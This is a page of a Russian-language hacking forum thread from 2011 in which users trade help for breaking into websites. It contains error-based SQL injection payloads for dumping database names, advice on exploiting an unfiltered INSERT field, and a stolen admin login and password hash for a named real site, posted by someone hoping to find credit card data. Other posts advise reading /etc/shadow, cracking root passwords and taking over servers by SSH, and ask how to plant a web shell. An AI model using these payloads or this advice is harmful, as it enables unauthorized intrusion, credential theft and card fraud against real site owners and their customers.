Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. KREGI

    KREGI Banned

    Joined:
    9 Feb 2009
    Messages:
    42
    Likes Received:
    3
    Reputations:
    1
    там защита от xss
     
  2. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    154
    Likes Received:
    105
    Reputations:
    83
    в пм скинь
     
  3. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    958
    Likes Received:
    527
    Reputations:
    204
    С чего же ты взял, что если запрос выводиться в title, то там SQLi?
     
    1 person likes this.
  4. KREGI

    KREGI Banned

    Joined:
    9 Feb 2009
    Messages:
    42
    Likes Received:
    3
    Reputations:
    1
    ну не только в титл... помню просто читал про похожую скулю на дле... вот и подумалось...
     
  5. Dima282

    Dima282 Banned

    Joined:
    14 Jun 2007
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Подскажите что за ошибка, каким способом можно раскрутить?

    An error occurred
    Page not found
    Exception information:
    Message: Invalid controller specified (about')

    Stack trace:
    #0 /opt/http/www/library/Zend/Controller/Front.php(954): Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http), Object(Zend_Controller_Response_Http))
    #1 /opt/http/www/library/Zend/Application/Bootstrap/Bootstrap.php(97): Zend_Controller_Front->dispatch()
    #2 /opt/http/www/library/Zend/Application.php(366): Zend_Application_Bootstrap_Bootstrap->run()
    #3 /opt/http/www/public/index.php(27): Zend_Application->run()
    #4 {main}Request Parameters:
    array (
    'controller' => 'about\'',
    'action' => 'union',
    'select' => '1',
    'module' => 'default',
    )
     
  6. rootmd

    rootmd New Member

    Joined:
    9 Dec 2010
    Messages:
    101
    Likes Received:
    3
    Reputations:
    -5
    SELECT ID, NicName, DateReg FROM a_Accounts WHERE ID=-1 OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(USER(), 1,63), FLOOR(RAND(0)*2))) --

    как получить group_concat(TABLE_SCHEMA) from information_schema.tables?
     
    1 person likes this.
  7. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    HTML:
    -1+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID((SELECT+GROUP_CONCAT(SCHEMA_NAME)+FROM+INFORMATION_SCHEMA.SCHEMATA),1,63),FLOOR(RAND(0)*2)))
    
     
    #16447 h00lyshit!, 20 Mar 2011
    Last edited: 20 Mar 2011
  8. Dynamic

    Dynamic New Member

    Joined:
    20 Mar 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Всем привет! Есть такая таблица на сервере.
    Code:
    CREATE TABLE IF NOT EXISTS `login` (
      `id` int(11) unsigned NOT NULL auto_increment,
      `userid` varchar(23) NOT NULL default '',
      `user_pass` varchar(23) NOT NULL default '',
      `mode` enum('one','two') NOT NULL default 'one',
      `email` varchar(39) NOT NULL default '',
      PRIMARY KEY  (`id`),
      KEY `name` (`userid`)
    ) ENGINE=MyISAM AUTO_INCREMENT=1000000; 
    И примерно такой SQL запрос:
    При регистрации на сайте не фильтруется поле "mode":
    Возможно к уязвимому запросу добавить свой запрос?
    Я пробовал подставить "two','root@myhost.com'); SELECT * FROM `login`; -- ", но получил ошибку:
    Какие возможности открывает данная уязвимость?
     
  9. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Dynamic
    http://forum.antichat.ru/showpost.php?p=2582303&postcount=16477
     
  10. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Таким запросом вы никогда ничего и не добъетесь. Ну кроме ошибки.
    Предположим что поле email выбирается из базы где-то, то тогда в уязвимый параметр вводи:
    ', подзапрос)-- 1
    Иначе можно спровоцировать ошибку, тоже много вариантов.
     
  11. Dynamic

    Dynamic New Member

    Joined:
    20 Mar 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Redwood, спасибо за ссылку на пост.
    Там говорится о том что мы можем вписать произвольные значения в базу в текущий запрос или спровоцировать ошибку duplicate entry и выводить инфу через нее. В моем случае я могу записать произвольное мыло при регистрации. А на счет "спровоцировать ошибку duplicate" у меня скорее всего не применимо. Потому что "on duplicate key update" срабатывает когда мы питаемся в поле "UNIQUE index or PRIMARY KEY" записать значение, которое уже есть в базе. У меня оно генерируется само(AUTO_INCREMENT). Верно?

    ~d0s~, email не выбирается из базы, его тоже вводит пользователь в форме регистрации.
    Вы предлагаете заместо мыла передать вложенный SQL запрос? Если да, то напишите пожалуйста пример.
     
    #16451 Dynamic, 21 Mar 2011
    Last edited: 21 Mar 2011
  12. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Какой смысл инсертить свои данные в базу, если они нигде не выбираются в итоге, вывода то все равно не будет! Вывод в ошибке вам в помощь.
    Вам уже много раз сказали про вывод в ошибке. Раз вы приводили нам выплянутую майскулом ошибку синтаксиса в самом начале, то не вижу преград для проведения атаки.
     
    #16452 ~d0s~, 21 Mar 2011
    Last edited: 21 Mar 2011
  13. Dynamic

    Dynamic New Member

    Joined:
    20 Mar 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    ~d0s~, в том то и дело, что вывода нету. Есть только регистрация аккаунта в игре. Функционала для того чтобы пользователь мог войти на сайте нету. Вопрос создавал с надеждой, что можно прикрепить свой SQL запрос(INSERT), чтобы вставить свои значения в другую таблицу(структура таблиц известна). Либо путем ошибок MySQL получать данные.
    Если нигде на сайте не выводится значение поля email, то мы ничего не можем сделать кроме как подмены мыла введенного при регистрации в форме. Верно?
     
  14. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Вывод уязвимого поля на страницу, на вывод в ошибке не влияет.
    Вывод отработает и при таком коде:
    PHP:
    <form action = '?' method = 'post'>
    <input type = 'text' name = 'login'>
    <input type = 'submit' value = 'ok'>
    </form>
    <?php
    $connect 
    mysql_connect('localhost','root','') or die(mysql_error());
    $login $_POST['login']; 
    $query mysql_query ("INSERT INTO `site`.`admin` VALUES ('id','$login','antichat')") or die(mysql_error());
    ?>
    UPD: Дополнил вышеприведенную ссылку методом выборки на основе временных задержек.
     
    #16454 h00lyshit!, 21 Mar 2011
    Last edited: 21 Mar 2011
    5 people like this.
  15. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    309
    Likes Received:
    170
    Reputations:
    12
    Немного странно.
    Вот есть сайт с которого логин/пасс стащил
    Админка: http://www.franchisedocuments.com/zen/admin/login.php
    Логин: frandocs
    Защита от нубов: 5a042913e5074bc846784dd2066456d2:26
    Но вот когда вводим правильный логин/пасс не пишет что введено неправильно, но и не заходит.
    В чем причина то?
    Что неприятно, так это то что там СС быть могут, и на завершающем этапе такой облом.
     
  16. stasiliy

    stasiliy New Member

    Joined:
    26 Sep 2009
    Messages:
    27
    Likes Received:
    2
    Reputations:
    1
    Привет. Если я имею полный доступ к /etc на сервере, что мне это дает?
    Спасибо
     
    1 person likes this.
  17. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    958
    Likes Received:
    527
    Reputations:
    204
    Узнай инклюд это или нет. Если инклюд, то читай статьи по LFI\RFI (тыц к примеру). Если читалка, то изучи сорцы сайта.

    Вполне возможно, что уже кто-то похекал и поломал сайт.
    Либо это не та админка или не те данные.
     
    #16457 Tigger, 22 Mar 2011
    Last edited: 22 Mar 2011
  18. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    читай /etc/shadow (или /etc/master.passwd), расшифровывай пассы (рут само собой в приоритете), коннекться по ssh и властвуй
     
    _________________________
    1 person likes this.
  19. Konfuz™

    Konfuz™ New Member

    Joined:
    19 May 2010
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Привет всем... Нужна помощь с SQL Injection

    Запросы:

    1. http://site.com/xmlstats.php?affid=100&dt='
    2. http://site.com/xmlstats.php?affid=100&dt=1'
    3. http://site.com/xmlstats.php?affid=100&dt=1' OR 1=1

    Ошибки:

    1.
    XML Parsing Error: syntax error
    Location: http://site.com/xmlstats.php?affid=100&dt=%27
    Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '00:00:00' and '' 23:59:59'' at line 5
    ---------------------^

    2.
    XML Parsing Error: syntax error
    Location: http://site.com/xmlstats.php?affid=100&dt=1%27
    Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '00:00:00' and '1' 23:59:59'' at line 5
    ---------------------^

    3.
    XML Parsing Error: syntax error
    Location: http://site.com/xmlstats.php?affid=100&dt=1%27%20OR%201=1
    Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'OR 1=1 00:00:00' and '1' OR 1=1 23:59:59'' at line 5
    ---------------------^

    Есть ли возможность заюзать SQL Inection в данном случае? На месте &dt должна быть дата например 2011-03-19
     
  20. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    496
    Likes Received:
    33
    Reputations:
    12
    Как заливается шелл в

    Coppermine Photo Gallery v1.5.x

    Доступ в админку есть.
     
Loading...
Thread Status:
Not open for further replies.